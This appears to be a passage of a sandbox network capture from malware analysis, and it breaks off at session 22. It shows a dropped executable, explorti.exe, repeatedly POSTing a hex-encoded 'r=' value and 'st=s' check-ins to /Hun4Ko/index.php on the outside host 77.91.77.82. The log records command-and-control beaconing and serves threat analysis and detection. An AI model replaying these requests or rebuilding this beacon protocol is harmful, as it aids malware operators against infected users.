Jul 4, 2024 22:21:13.875559092 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:14.100945950 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49731	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:14.220344067 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:14.928220987 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:14.931268930 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:15.156418085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49733	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:15.275959015 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:15.985096931 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:15.986630917 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:16.211882114 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49736	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:16.335838079 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:17.055696011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:17.056590080 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:17.281816959 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49742	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:17.394377947 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:18.115781069 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:18.116450071 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:18.337444067 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49748	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:18.457281113 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:19.200321913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:19.201423883 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:19.430984974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49755	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:19.549043894 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:20.248509884 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:20.316546917 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:20.536763906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49759	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:20.649796009 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:21.358853102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:21.422333002 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:21.647051096 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49764	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:21.756891966 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:22.487592936 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:22.490325928 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:22.720818043 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49769	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:22.839024067 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:23.535095930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:23.537797928 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:23.754757881 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49771	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:23.866061926 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:24.575637102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:24.598192930 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:24.821240902 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49773	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:24.942929983 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:25.651587009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:25.652506113 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:25.873960972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49776	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:25.990014076 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:26.693120956 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:26.715292931 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:26.937583923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49778	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
